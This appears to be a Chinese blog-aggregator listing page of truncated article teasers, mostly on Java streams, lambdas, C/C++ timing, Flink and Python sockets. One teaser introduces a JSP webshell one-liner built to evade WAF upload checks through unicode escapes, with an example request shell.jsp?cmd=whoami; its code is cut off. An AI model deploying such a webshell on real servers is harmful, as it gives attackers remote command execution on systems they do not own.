Lambda表达式 package org.westos.demo; import java.util.ArrayList; import java.util.Comparator; /** * @author lwj * @date 2020/6/20 9:00 */ public class M ...
分类:
其他好文 时间:
2020-06-20 18:32:55
阅读次数:
46
clock()函数返回从“开启这个程序进程”到“程序中调用clock()函数”时之间的CPU时钟计时单元(clock tick)数,在MSDN中称之为挂钟时间(wal-clock)常量CLOCKS_PER_SEC,它用来表示一秒钟会有多少个时钟计时单元。 比如:我想知道vector在2种情况下的运行 ...
分类:
编程语言 时间:
2020-06-20 18:26:20
阅读次数:
57
1 #include <iostream> 2 #include <cstdio> 3 using namespace std; 4 int main() 5 { 6 char r[3] = {'W','T','L'}; 7 double v[3][3],sum=1.0,d; 8 for(int i ...
分类:
其他好文 时间:
2020-06-20 16:37:32
阅读次数:
47
前面一篇文章介绍了两个常用函数式接口Supplier和Consumer接口,今天接着讲另外另个重要函数式接口Predicate和Function接口。这几个接口在Java中应用广泛,比方Stream流式API中就经常用到。2.Predicate接口当我们需要对某种数据类型进行判断,得到一个boolean值结果时候,可以采用java.util.function.Predicate<T>接
分类:
其他好文 时间:
2020-06-20 16:00:47
阅读次数:
58
###JSP无%%号命令执行一句话 利用场景:WAF 禁止用户上传可执行文件,进行了文件内容判断。 后续自己回来做点其他的版本。 example:http://127.0.0.1/shell.jsp?cmd=whoami win: <jsp:scriptlet> if(\u0072\u0065\u0 ...
分类:
Web程序 时间:
2020-06-20 14:01:02
阅读次数:
83
A core element in Flink’s distributed snapshotting are the stream barriers. These barriers are injected into the data stream and flow with the records ...
分类:
其他好文 时间:
2020-06-20 13:41:21
阅读次数:
70
服务端 例子: 1 import socket 2 3 phone = socket.socket(socket.AF_INET, 4 socket.SOCK_STREAM) # socket.AF_INET代表网络通信,socket.SOCKET_STREAM代表基于tcp协议 相当于买了一个手机 ...
分类:
其他好文 时间:
2020-06-20 12:59:12
阅读次数:
59
public class CollectorDemo { public static void main(String[] args) { List<String> list = new ArrayList<>(); list.add("林青霞"); list.add("张曼玉"); list.ad ...
分类:
其他好文 时间:
2020-06-19 23:01:19
阅读次数:
89
public class StreamDemo04 { public static void main(String[] args) { //创建一个集合添加元素 ArrayList<String> list = new ArrayList<>(); list.add("linqingxia"); ...
分类:
其他好文 时间:
2020-06-19 17:55:55
阅读次数:
104
public class StreamDemo { public static void main(String[] args) { //创建一个集合 ArrayList<String> list = new ArrayList<>(); list.add("赵敏"); list.add("张无忌" ...
分类:
其他好文 时间:
2020-06-19 16:23:35
阅读次数:
86